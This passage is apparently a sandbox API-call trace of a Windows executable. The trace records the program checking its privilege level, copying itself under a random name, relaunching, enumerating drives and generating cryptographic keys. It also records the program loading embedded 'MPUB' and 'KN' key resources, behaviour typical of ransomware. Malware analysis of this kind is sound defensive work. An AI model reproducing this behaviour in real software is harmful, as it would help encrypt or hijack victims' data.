TokenHandle=0xec, TokenInformationClass=0x19, TokenInformation=0x70b178, TokenInformationLength=0x14, ReturnLength=0x18fbc8 | out: TokenInformation=0x70b178, ReturnLength=0x18fbc8) returned 1 [0024.841] GetSidSubAuthorityCount (pSid=0x70b180*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x70b181 [0024.841] GetSidSubAuthority (pSid=0x70b180*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x70b188 [0024.841] LocalFree (hMem=0x70b178) returned 0x0 [0024.841] CloseHandle (hObject=0xec) returned 1 [0024.841] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0024.841] GetFileType (hFile=0x7) returned 0x2 [0024.841] GetConsoleOutputCP () returned 0x1b5 [0024.841] GetFileType (hFile=0x7) returned 0x2 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x1e69eec, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Admin", lpUsedDefaultChar=0x0) returned 5 [0024.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\r") returned 1 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e69fdc, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0024.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\n") returned 1 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e69fdc, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0024.842] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0x7, lpOverlapped=0x0) returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IntegrityLevel = 4 (2-low,3-user,4-admin,5-system,6-protected_system)", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IntegrityLevel = 4 (2-low,3-user,4-admin,5-system,6-protected_system)", cchWideChar=69, lpMultiByteStr=0x1e94e5c, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IntegrityLevel = 4 (2-low,3-user,4-admin,5-system,6-protected_system)", lpUsedDefaultChar=0x0) returned 69 [0024.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\r") returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e6a03c, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0024.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\n") returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e6a03c, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0024.843] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0x47, lpOverlapped=0x0) returned 1 [0024.843] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.843] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=37, fCreate=0 | out: pszPath="C:\\Windows\\system32") returned 1 [0024.845] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f964, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0024.845] GetTickCount () returned 0x1151ddd [0024.845] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb38 | out: lpPerformanceCount=0x18fb38*=16679759633) returned 1 [0024.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0024.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0024.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0024.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0024.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0024.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0024.846] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f958, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0024.846] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C copy /V /Y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fb28*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb18 | out: lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C copy /V /Y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe\"", lpProcessInformation=0x18fb18*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xb58, dwThreadId=0xb68)) returned 1 [0025.042] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0 [0025.824] CloseHandle (hObject=0xfc) returned 1 [0025.824] CloseHandle (hObject=0xf8) returned 1 [0025.824] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nwv6rh39.exe")) returned 0x20 [0025.824] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe\" -n", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fb28*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb18 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe\" -n", lpProcessInformation=0x18fb18*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xb4c, dwThreadId=0xb54)) returned 1 [0025.838] CloseHandle (hObject=0xfc) returned 1 [0025.838] CloseHandle (hObject=0xf8) returned 1 [0025.838] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0025.838] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0025.840] SetErrorMode (uMode=0x1) returned 0x0 [0025.841] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x18f97c, nVolumeNameSize=0x200, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x18fb80, lpFileSystemFlags=0x18fb7c, lpFileSystemNameBuffer=0x18f77c, nFileSystemNameSize=0x200 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x18fb80*=0xff, lpFileSystemFlags=0x18fb7c*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0025.841] SetErrorMode (uMode=0x0) returned 0x1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\", cchWideChar=14, lpMultiByteStr=0x1e62c2c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[LDRIVES]: C:\\", lpUsedDefaultChar=0x0) returned 14 [0025.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\r:ﮰ\x18sers\\5p5NrGJn0jS HALPmcxz\\DesktoE") returned 1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e6a084, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0025.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\n:ﮰ\x18sers\\5p5NrGJn0jS HALPmcxz\\DesktoE") returned 1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e6a084, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0025.841] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0x10, lpOverlapped=0x0) returned 1 [0025.842] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0025.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[GENKEY]", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[GENKEY]", cchWideChar=8, lpMultiByteStr=0x1e62c2c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[GENKEY]", lpUsedDefaultChar=0x0) returned 8 [0025.842] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0x8, lpOverlapped=0x0) returned 1 [0025.843] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16779475882) returned 1 [0025.843] GetTickCount () returned 0x1151f83 [0025.843] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x26)) [0025.843] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x26)) [0025.843] GetCurrentThreadId () returned 0x5b0 [0025.843] GetCurrentThread () returned 0xfffffffe [0025.843] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec | out: lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec) returned 1 [0025.843] GetCurrentProcessId () returned 0x328 [0025.843] GetCurrentProcess () returned 0xffffffff [0025.843] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec | out: lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec) returned 1 [0025.843] GetSystemTimes (in: lpIdleTime=0x18f4d4, lpKernelTime=0x18f4dc, lpUserTime=0x18f4e4 | out: lpIdleTime=0x18f4d4, lpKernelTime=0x18f4dc, lpUserTime=0x18f4e4) returned 1 [0025.843] QueryPerformanceFrequency (in: lpFrequency=0x18f4f8 | out: lpFrequency=0x18f4f8*=100000000) returned 1 [0025.843] GetUserNameA (in: lpBuffer=0x18f3f8, pcbBuffer=0x18f3f4 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18f3f4) returned 1 [0025.845] GetComputerNameA (in: lpBuffer=0x18f3f8, nSize=0x18f3f4 | out: lpBuffer="XDUWTFONO", nSize=0x18f3f4) returned 1 [0025.846] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16779802467) returned 1 [0025.846] GetTickCount () returned 0x1151f83 [0025.846] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x26)) [0025.846] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x26)) [0025.846] Sleep (dwMilliseconds=0x0) [0025.873] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16782494412) returned 1 [0025.873] GetTickCount () returned 0x1151fa2 [0025.873] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x45)) [0025.873] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x45)) [0025.873] Sleep (dwMilliseconds=0x1) [0025.881] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16783336740) returned 1 [0025.881] GetTickCount () returned 0x1151fb1 [0025.881] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.881] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.881] GetCurrentThreadId () returned 0x5b0 [0025.881] GetCurrentThread () returned 0xfffffffe [0025.881] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec | out: lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec) returned 1 [0025.881] GetCurrentProcessId () returned 0x328 [0025.881] GetCurrentProcess () returned 0xffffffff [0025.881] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec | out: lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec) returned 1 [0025.882] GetSystemTimes (in: lpIdleTime=0x18f4d4, lpKernelTime=0x18f4dc, lpUserTime=0x18f4e4 | out: lpIdleTime=0x18f4d4, lpKernelTime=0x18f4dc, lpUserTime=0x18f4e4) returned 1 [0025.882] Sleep (dwMilliseconds=0x0) [0025.885] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16783761430) returned 1 [0025.885] GetTickCount () returned 0x1151fb1 [0025.885] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.886] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.886] QueryPerformanceCounter (in: lpPerformanceCount=0x18f554 | out: lpPerformanceCount=0x18f554*=16783781751) returned 1 [0025.886] GetTickCount () returned 0x1151fb1 [0025.886] GetLocalTime (in: lpSystemTime=0x18f54c | out: lpSystemTime=0x18f54c*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.886] GetLocalTime (in: lpSystemTime=0x18f54c | out: lpSystemTime=0x18f54c*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.886] GetCurrentThreadId () returned 0x5b0 [0025.886] GetCurrentThread () returned 0xfffffffe [0025.886] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18f54c, lpExitTime=0x18f554, lpKernelTime=0x18f55c, lpUserTime=0x18f564 | out: lpCreationTime=0x18f54c, lpExitTime=0x18f554, lpKernelTime=0x18f55c, lpUserTime=0x18f564) returned 1 [0025.886] GetCurrentProcessId () returned 0x328 [0025.886] GetCurrentProcess () returned 0xffffffff [0025.886] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x18f54c, lpExitTime=0x18f554, lpKernelTime=0x18f55c, lpUserTime=0x18f564 | out: lpCreationTime=0x18f54c, lpExitTime=0x18f554, lpKernelTime=0x18f55c, lpUserTime=0x18f564) returned 1 [0025.886] GetSystemTimes (in: lpIdleTime=0x18f54c, lpKernelTime=0x18f554, lpUserTime=0x18f55c | out: lpIdleTime=0x18f54c, lpKernelTime=0x18f554, lpUserTime=0x18f55c) returned 1 [0029.358] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x128 [0029.359] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0029.359] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0029.359] CryptAcquireContextW (in: phProv=0x18f5e4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18f5e4*=0x70ba00) returned 1 [0029.540] CryptGenRandom (in: hProv=0x70ba00, dwLen=0x28, pbBuffer=0x18f5f8 | out: pbBuffer=0x18f5f8) returned 1 [0029.540] CryptReleaseContext (hProv=0x70ba00, dwFlags=0x0) returned 1 [0029.540] ReleaseMutex (hMutex=0x128) returned 1 [0029.540] ReleaseMutex (hMutex=0x128) returned 1 [0029.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0029.540] ReleaseMutex (hMutex=0x128) returned 1 [0029.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=256, lpWideCharStr=0x18e60c, cchWideChar=2047 | out: lpWideCharStr="494DCEE6F0485AF8DE6D74BD45E6A30D086343DD435A33FDD9659B4281B645AE613BC499AD84F8058C8FAA5A8A88315AC9C533C5E399EC312622FD1825120ECF44D6F7312D7EC38A6A120B10117A0950BB5D8E438FC849BE23EF3F2052F3E35FC4BA3B23DCE173D0146E0D19C31EB262354A3ABF6F736F7A4E58F47DF1FD5251￿￿￿￿￿￿￿￿￿￿￿\x01") returned 256 [0029.541] FindResourceW (hModule=0x400000, lpName="MPUB", lpType=0xa) returned 0x4f5470 [0029.541] LoadResource (hModule=0x400000, hResInfo=0x4f5470) returned 0x526164 [0029.541] SizeofResource (hModule=0x400000, hResInfo=0x4f5470) returned 0x192 [0029.541] LockResource (hResData=0x526164) returned 0x526164 [0029.541] FreeResource (hResData=0x526164) returned 0 [0029.541] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0029.541] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0029.541] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0029.541] LockResource (hResData=0x5260dc) returned 0x5260dc [0029.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1e18, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0029.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1e18, cbMultiByte=38, lpWideCharStr=0x1e8e38c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0029.541] FreeResource (hResData=0x5260dc) returned 0 [0029.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0029.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb1e1c, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 